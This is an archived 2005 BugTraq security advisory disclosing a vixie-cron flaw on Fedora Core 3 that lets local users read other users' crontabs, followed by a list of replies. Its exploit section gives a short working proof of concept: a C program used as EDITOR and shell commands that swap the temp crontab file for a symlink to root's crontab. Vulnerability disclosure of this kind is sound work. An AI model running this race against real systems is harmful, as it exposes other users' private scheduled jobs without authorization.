BugTraq
crontab from vixie-cron allows read other users crontabs Apr 06 2005 10:00AM
Karol Wiêsek (appelast drumnbass art pl) (3 replies)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Name: vixie-cron
Author: Karol Wiêsek <appelast (at) drumnbass.art (dot) pl [email concealed]>
Date: Mar 21, 2005

Issue:

crontab allows any user to read another users crontabs

Description:

Crontab is used to create special files used by cron to execute commands
at specified dates and times.

Details:

Insufficient checks allows user to change during edition regular file to
symbolic link to any file. While copying crontab uses root permisions,
but also checks entrys, so attacker is only able to read properly
formated crontab files (another users crontabs).

Exploit:

[appelast@hoga ~]$ crontab -l
[appelast@hoga ~]$ cat c.c
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

int main(int ac, char *av[])
{
int pid;

if (ac>1)
printf("%s\n", av[1]);
pid = fork();
if (pid)
execl("/bin/bash","bash",0);
if (pid>0)
wait((void*)0);
return 0;
}
[appelast@hoga ~]$ export EDITOR=/home/appelast/c
[appelast@hoga ~]$ crontab -e
/tmp/crontab.XXXX63oldL
[appelast@hoga tmp]$ unlink /tmp/crontab.XXXX63oldL
[appelast@hoga tmp]$ ln -s /var/spool/cron/root /tmp/crontab.XXXX63oldL
[appelast@hoga tmp]$ exit
crontab: installing new crontab
[appelast@hoga ~]$ crontab -l
* * * * * /bin/true
[appelast@hoga ~]$

Vulnerability was tested on Fedora Core 3 with vixie-cron-4.1-24_FC3
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFCU7NQFTSet8AbQUQRAuAuAJ9CdR/LD5nO8778E71GpT2ZyTDHCQCgh1+I
mvIisw6+p8XQd/ReiRwKyfo=
=KQq/
-----END PGP SIGNATURE-----

[ reply ]
Re: crontab from vixie-cron allows read other users crontabs Apr 06 2005 09:31PM
David Malone (dwmalone maths tcd ie)
Re: crontab from vixie-cron allows read other users crontabs Apr 06 2005 08:24PM
Gadi Evron (ge linuxbox org)
Re: crontab from vixie-cron allows read other users crontabs Apr 06 2005 04:51PM
Richard Moore (rich westpoint ltd uk)


 

Privacy Statement
Copyright 2010, SecurityFocus